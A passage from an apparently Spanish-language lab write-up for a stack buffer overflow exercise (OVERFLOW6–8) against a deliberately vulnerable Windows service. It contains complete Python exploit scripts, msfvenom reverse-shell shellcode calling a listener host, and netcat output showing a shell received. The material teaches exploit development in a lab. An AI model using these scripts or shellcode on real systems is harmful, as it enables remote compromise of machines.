\x6d\xe8\xf2\x2b\x3b\x46\xb5\x85\x8d\x30\x6f\x79\x44\xd4""\xf6\xb1\x57\xa2\xf6\x9f\x21\x4a\x46\x76\x74\x75\x67\x1e\x70""\x0e\x95\xbe\x7f\xc5\x1d\xde\x9d\xcf\x6b\x77\x38\x9a\xd1\x1a""\xbb\x71\x15\x23\x38\x73\xe6\xd0\x20\xf6\xe3\x9d\xe6\xeb\x99""\x8e\x82\x0b\x0d\xae\x86";
Agregamos nuestro shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (1534).
shellcode=("\xda\xcc\xd9\x74\x24\xf4\xbf\x95\x7d\x42\x1d\x5a\x29\xc9\xb1""\x52\x31\x7a\x17\x03\x7a\x17\x83\x7f\x81\xa0\xe8\x83\x92\xa7""\x13\x7b\x63\xc8\x9a\x9e\x52\xc8\xf9\xeb\xc5\xf8\x8a\xb9\xe9""\x73\xde\x29\x79\xf1\xf7\x5e\xca\xbc\x21\x51\xcb\xed\x12\xf0""\x4f\xec\x46\xd2\x6e\x3f\x9b\x13\xb6\x22\x56\x41\x6f\x28\xc5""\x75\x04\x64\xd6\xfe\x56\x68\x5e\xe3\x2f\x8b\x4f\xb2\x24\xd2""\x4f\x35\xe8\x6e\xc6\x2d\xed\x4b\x90\xc6\xc5\x20\x23\x0e\x14""\xc8\x88\x6f\x98\x3b\xd0\xa8\x1f\xa4\xa7\xc0\x63\x59\xb0\x17""\x19\x85\x35\x83\xb9\x4e\xed\x6f\x3b\x82\x68\xe4\x37\x6f\xfe""\xa2\x5b\x6e\xd3\xd9\x60\xfb\xd2\x0d\xe1\xbf\xf0\x89\xa9\x64""\x98\x88\x17\xca\xa5\xca\xf7\xb3\x03\x81\x1a\xa7\x39\xc8\x72""\x04\x70\xf2\x82\x02\x03\x81\xb0\x8d\xbf\x0d\xf9\x46\x66\xca""\xfe\x7c\xde\x44\x01\x7f\x1f\x4d\xc6\x2b\x4f\xe5\xef\x53\x04""\xf5\x10\x86\x8b\xa5\xbe\x79\x6c\x15\x7f\x2a\x04\x7f\x70\x15""\x34\x80\x5a\x3e\xdf\x7b\x0d\x81\x88\x95\xcc\x69\xcb\x99\xcb""\x53\x42\x7f\xb9\xb3\x02\x28\x56\x2d\x0f\xa2\xc7\xb2\x85\xcf""\xc8\x39\x2a\x30\x86\xc9\x47\x22\x7f\x3a\x12\x18\xd6\x45\x88""\x34\xb4\xd4\x57\xc4\xb3\xc4\xcf\x93\x94\x3b\x06\x71\x09\x65""\xb0\x67\xd0\xf3\xfb\x23\x0f\xc0\x02\xaa\xc2\x7c\x21\xbc\x1a""\x7c\x6d\xe8\xf2\x2b\x3b\x46\xb5\x85\x8d\x30\x6f\x79\x44\xd4""\xf6\xb1\x57\xa2\xf6\x9f\x21\x4a\x46\x76\x74\x75\x67\x1e\x70""\x0e\x95\xbe\x7f\xc5\x1d\xde\x9d\xcf\x6b\x77\x38\x9a\xd1\x1a""\xbb\x71\x15\x23\x38\x73\xe6\xd0\x20\xf6\xe3\x9d\xe6\xeb\x99""\x8e\x82\x0b\x0d\xae\x86")eip_ret=pack("<L",0x62501203)nops="\x90"*16padding="C"buff="A"*1034+eip_ret+nops+badchars+padding*(1534-1034-4-255)# 255 badcharsbuff="A"*1274+eip_ret+nops+shellcode+padding*(1750-1274-4-16-353)try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW6 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Tras ejecutar el script logramos obtener una shell.
1
2
3
4
5
6
7
8
9
10
11
➜ BuffTHM nc -lnvp 1338Listening on 0.0.0.0 1338Connection received on 192.168.22.128 49182Microsoft Windows [Versin 6.1.7601]Copyright (c)2009 Microsoft Corporation. Reservados todos los derechos.
C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull
C:\Users\sckull\Desktop\vulnerable-apps\oscp>
Overflow 7
Fuzzing
Realizamos fuzzing al segundo reto utilizando esta vez OVERFLOW7.
Modificamos el script para realizar el envio de este.
1
2
3
4
5
6
7
8
9
10
11
12
13
buff="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9"try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW7 %s\r\n"%buff)s.close()#log.info("x_x socket.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")
El registro EIP está lleno con el patron enviado asi mismo el registro ESP.
Mona nos muestra el offset con valor de 1306 bytes.
1
2
3
4
5
6
7
8
9
# !mona findmsp -distance 1500[+] Command used:
!mona findmsp -distance 1500[..][+] Examining registers
EIP contains normal pattern : 0x72423572 (offset 1306) ESP (0x0090fa30) points at offset 1310 in normal pattern (length 190) EBP contains normal pattern : 0x42347242 (offset 1302) EBX contains normal pattern : 0x33724232 (offset 1298)
Control EIP
Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (1500).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
eip_ret="B"*4nops=""padding="C"buff="A"*1306+eip_ret+nops+padding*(1500-1306-4)# junk 1306, eip 4, padding 190 = 1500try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW7 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Tras ejecutar el script vemos que el registro EIP contiene “B"s lo que significa que el offset es exacto, además vemos el registro ESP con el padding (“C"s).
Espacio - Shellcode
Aumentamos el padding para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 250 bytes adicionales, en total tendríamos 440 bytes disponibles.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
eip_ret="B"*4nops=""# 16 bytespadding="C"buff="A"*1306+eip_ret+nops+padding*(1500-1306-4+250)# 440 padding# 1306 junk, 4 eip_ret, padding 440 (shellcode + nops)# total buffer = 1750try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW7 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
El debugger muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 1750 bytes de los cuales 440 bytes serán para el shellcode y los nops (16 bytes).
BadChars
Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).
1
!mona bytearray -cpb "\x00"
Modificamos el script con nuestro array de badchars.
badchars=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")eip_ret="B"*4nops=""# 16 bytespadding="C"buff="A"*1306+eip_ret+nops+badchars+padding*(1750-1306-4-255)# 255 badcharstry:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW7 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Realizamos la busqueda de badchars como en el primer reto. Inicialmente encontramos los badchars "\x00\x8c\xae\xbe\xfb".
1
\x00\x8c\xae\xbe\xfb
JMP ESP
Buscamos una instrucción de salto al ESP con mona.
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\x8c\xae\xbe\xfb"Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with A valid opcode permutation could not be found.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 348(iteration=0)x86/call4_dword_xor chosen with final size 348Payload size: 348 bytes
Final size of c file: 1488 bytes
unsigned char buf[]="\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e""\xc3\x2d\x3d\x1c\x83\xee\xfc\xe2\xf4\x3f\xc5\xbf\x1c\xc3\x2d""\x5d\x95\x26\x1c\xfd\x78\x48\x7d\x0d\x97\x91\x21\xb6\x4e\xd7""\xa6\x4f\x34\xcc\x9a\x77\x3a\xf2\xd2\x91\x20\xa2\x51\x3f\x30""\xe3\xec\xf2\x11\xc2\xea\xdf\xee\x91\x7a\xb6\x4e\xd3\xa6\x77""\x20\x48\x61\x2c\x64\x20\x65\x3c\xcd\x92\xa6\x64\x3c\xc2\xfe""\xb6\x55\xdb\xce\x07\x55\x48\x19\xb6\x1d\x15\x1c\xc2\xb0\x02""\xe2\x30\x1d\x04\x15\xdd\x69\x35\x2e\x40\xe4\xf8\x50\x19\x69""\x27\x75\xb6\x44\xe7\x2c\xee\x7a\x48\x21\x76\x97\x9b\x31\x3c""\xcf\x48\x29\xb6\x1d\x13\xa4\x79\x38\xe7\x76\x66\x7d\x9a\x77""\x6c\xe3\x23\x72\x62\x46\x48\x3f\xd6\x91\x9e\x45\x0e\x2e\xc3""\x2d\x55\x6b\xb0\x1f\x62\x48\xab\x61\x4a\x3a\xc4\xd2\xe8\xa4""\x53\x2c\x3d\x1c\xea\xe9\x69\x4c\xab\x04\xbd\x77\xc3\xd2\xe8""\x4c\x93\x7d\x6d\x5c\x93\x6d\x6d\x74\x29\x22\xe2\xfc\x3c\xf8""\xaa\x76\xc6\x45\xfd\xb4\xd5\x2c\x55\x1e\xc3\x28\x07\x95\x25""\x47\x2d\x4a\x94\x45\xa4\xb9\xb7\x4c\xc2\xc9\x46\xed\x49\x10""\x3c\x63\x35\x69\x2f\x45\xcd\xa9\x61\x7b\xc2\xc9\xab\x4e\x50""\x78\xc3\xa4\xde\x4b\x94\x7a\x0c\xea\xa9\x3f\x64\x4a\x21\xd0""\x5b\xdb\x87\x09\x01\x1d\xc2\xa0\x79\x38\xd3\xeb\x3d\x58\x97""\x7d\x6b\x4a\x95\x6b\x6b\x52\x95\x7b\x6e\x4a\xab\x54\xf1\x23""\x45\xd2\xe8\x95\x23\x63\x6b\x5a\x3c\x1d\x55\x14\x44\x30\x5d""\xe3\x16\x96\xdd\x01\xe9\x27\x55\xba\x56\x90\xa0\xe3\x16\x11""\x3b\x60\xc9\xad\xc6\xfc\xb6\x28\x86\x5b\xd0\x5f\x52\x76\xc3""\x7e\xc2\xc9";
Agregamos nuestro shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (1750).
shellcode=("\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e""\xc3\x2d\x3d\x1c\x83\xee\xfc\xe2\xf4\x3f\xc5\xbf\x1c\xc3\x2d""\x5d\x95\x26\x1c\xfd\x78\x48\x7d\x0d\x97\x91\x21\xb6\x4e\xd7""\xa6\x4f\x34\xcc\x9a\x77\x3a\xf2\xd2\x91\x20\xa2\x51\x3f\x30""\xe3\xec\xf2\x11\xc2\xea\xdf\xee\x91\x7a\xb6\x4e\xd3\xa6\x77""\x20\x48\x61\x2c\x64\x20\x65\x3c\xcd\x92\xa6\x64\x3c\xc2\xfe""\xb6\x55\xdb\xce\x07\x55\x48\x19\xb6\x1d\x15\x1c\xc2\xb0\x02""\xe2\x30\x1d\x04\x15\xdd\x69\x35\x2e\x40\xe4\xf8\x50\x19\x69""\x27\x75\xb6\x44\xe7\x2c\xee\x7a\x48\x21\x76\x97\x9b\x31\x3c""\xcf\x48\x29\xb6\x1d\x13\xa4\x79\x38\xe7\x76\x66\x7d\x9a\x77""\x6c\xe3\x23\x72\x62\x46\x48\x3f\xd6\x91\x9e\x45\x0e\x2e\xc3""\x2d\x55\x6b\xb0\x1f\x62\x48\xab\x61\x4a\x3a\xc4\xd2\xe8\xa4""\x53\x2c\x3d\x1c\xea\xe9\x69\x4c\xab\x04\xbd\x77\xc3\xd2\xe8""\x4c\x93\x7d\x6d\x5c\x93\x6d\x6d\x74\x29\x22\xe2\xfc\x3c\xf8""\xaa\x76\xc6\x45\xfd\xb4\xd5\x2c\x55\x1e\xc3\x28\x07\x95\x25""\x47\x2d\x4a\x94\x45\xa4\xb9\xb7\x4c\xc2\xc9\x46\xed\x49\x10""\x3c\x63\x35\x69\x2f\x45\xcd\xa9\x61\x7b\xc2\xc9\xab\x4e\x50""\x78\xc3\xa4\xde\x4b\x94\x7a\x0c\xea\xa9\x3f\x64\x4a\x21\xd0""\x5b\xdb\x87\x09\x01\x1d\xc2\xa0\x79\x38\xd3\xeb\x3d\x58\x97""\x7d\x6b\x4a\x95\x6b\x6b\x52\x95\x7b\x6e\x4a\xab\x54\xf1\x23""\x45\xd2\xe8\x95\x23\x63\x6b\x5a\x3c\x1d\x55\x14\x44\x30\x5d""\xe3\x16\x96\xdd\x01\xe9\x27\x55\xba\x56\x90\xa0\xe3\x16\x11""\x3b\x60\xc9\xad\xc6\xfc\xb6\x28\x86\x5b\xd0\x5f\x52\x76\xc3""\x7e\xc2\xc9")eip_ret=pack("<L",0x625011eb)nops="\x90"*16padding="C"buff="A"*1306+eip_ret+nops+shellcode+padding*(1750-1306-4-16-348)try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW7 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Tras ejecutar el script logramos obtener una shell.
1
2
3
4
5
6
7
8
9
10
11
➜ OVERFLOW_7 nc -lvnp 1338Listening on 0.0.0.0 1338Connection received on 192.168.22.128 49161Microsoft Windows [Versin 6.1.7601]Copyright (c)2009 Microsoft Corporation. Reservados todos los derechos.
C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull
C:\Users\sckull\Desktop\vulnerable-apps\oscp>
Overflow 8
Fuzzing
Realizamos fuzzing al segundo reto utilizando esta vez OVERFLOW8.
Modificamos el script para realizar el envio de este.
1
2
3
4
5
6
7
8
9
10
11
12
13
buff="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9"try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW8 %s\r\n"%buff)s.close()#log.info("x_x socket.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")
El registro EIP está lleno con el patron enviado asi mismo el registro ESP.
Mona nos muestra el offset con valor de 1786 bytes.
1
2
3
4
5
6
7
8
9
# !mona findmsp -distance 2100[+] Command used:
!mona findmsp -distance 2100[..][+] Examining registers
EIP contains normal pattern : 0x68433568 (offset 1786) ESP (0x0186fa30) points at offset 1790 in normal pattern (length 310) EBP contains normal pattern : 0x43346843 (offset 1782) EBX contains normal pattern : 0x33684332 (offset 1778)
Control EIP
Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (2100).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
eip_ret="B"*4nops=""padding="C"buff="A"*1786+eip_ret+nops+padding*(2100-1786-4)# junk 1786, eip 4, padding 310 = 2100try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW8 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Tras ejecutar el script vemos que el registro EIP contiene “B"s lo que significa que el offset es exacto, además vemos el registro ESP con el padding (“C"s).
Espacio - Shellcode
Aumentamos el padding para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 120 bytes adicionales, en total tendríamos 430 bytes disponibles.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
eip_ret="B"*4nops=""# 16 bytespadding="C"buff="A"*1786+eip_ret+nops+padding*(2100-1786-4+120)# padding 430# 1786 junk, 4 eip_ret, padding 430 (shellcode + nops)# total buffer = 2220try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW8 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
El debugger muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 2220 bytes de los cuales 430 bytes serán para el shellcode y los nops (16 bytes).
BadChars
Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).
1
!mona bytearray -cpb "\x00"
Modificamos el script con nuestro array de badchars.
badchars=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")eip_ret="B"*4nops=""# 16 bytespadding="C"buff="A"*1786+eip_ret+nops+badchars+padding*(2220-1786-4-255)# 255 badcharstry:log.info("Realizando 